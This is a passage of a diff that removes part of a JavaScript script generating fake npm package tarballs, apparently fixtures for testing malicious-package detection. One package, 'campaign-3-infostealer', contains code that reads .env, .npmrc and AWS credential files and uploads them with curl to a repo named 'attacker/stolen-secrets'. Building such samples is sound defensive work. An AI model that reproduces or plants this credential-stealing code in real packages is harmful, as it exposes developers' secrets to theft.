- buildTarball(dir, tmpParent);
119
- rmSync(tmpParent, { recursive: true, force: true });
120
- console.log(` Created ${dir}.tgz (typo: ${typoName}, binary: ${binName})`);
121
- }
122
-
123
- function createCampaign3Package() {
124
- const dir = 'campaign-3-infostealer';
125
-
126
- const pkgJson = {
127
- name: 'mouse5212-super-formatter',
128
- version: '1.0.0',
129
- description: 'Super formatter',
130
- };
131
-
132
- const distIndexJs = `const fs = require('fs');
133
- const { execSync } = require('child_process');
134
- const secretFiles = ['package.json', '.env', '.npmrc', '.aws/credentials'];
135
- for (const file of secretFiles) {
136
- try {
137
- const content = fs.readFileSync(process.env.HOME + '/' + file, 'utf8');
138
- const ghToken = 'ghp_stub1234567890abcdefghijklmnopqr';
139
- const exfilUrl = 'https://api.github.com/repos/attacker/stolen-secrets/contents/data.json';
140
- execSync('curl -X PUT "' + exfilUrl + '" -H "Authorization: token ' + ghToken + '" -d ' + JSON.stringify(content));
141
- } catch (e) {
142
- }
143
- }`;
144
-
145
- const tmpParent = mkdtempSync(join(tmpdir(), 'camp3-'));
146
- const pkgDir = join(tmpParent, dir);
147
- mkdirSync(join(pkgDir, 'dist'), { recursive: true });
148
- writeFile(join(pkgDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
149
- writeFile(join(pkgDir, 'dist', 'index.js'), distIndexJs);
150
-
151
- buildTarball(dir, tmpParent);
152
- rmSync(tmpParent, { recursive: true, force: true });
153
- console.log(` Created ${dir}.tgz`);
154
- }
155
-
156
- // ─── Generate All Campaigns ─────────────────────────────────────────
157
- console.log('Generating Campaign 1 (33 packages)...');
158
- for (let i = 1; i <= 33; i++) {
159
- createCampaign1Package(i);
160
- }
161
-
162
- console.log('Generating Campaign 2 (14 packages)...');
163
- for (let i = 1; i <= 14; i++) {
164
- createCampaign2Package(i);
165
- }
166
-
167
- console.log('Generating Campaign 3 (1 package)...');
168
- createCampaign3Package();
169
-
170
- console.log('\nAll 48 campaign tarballs generated successfully!');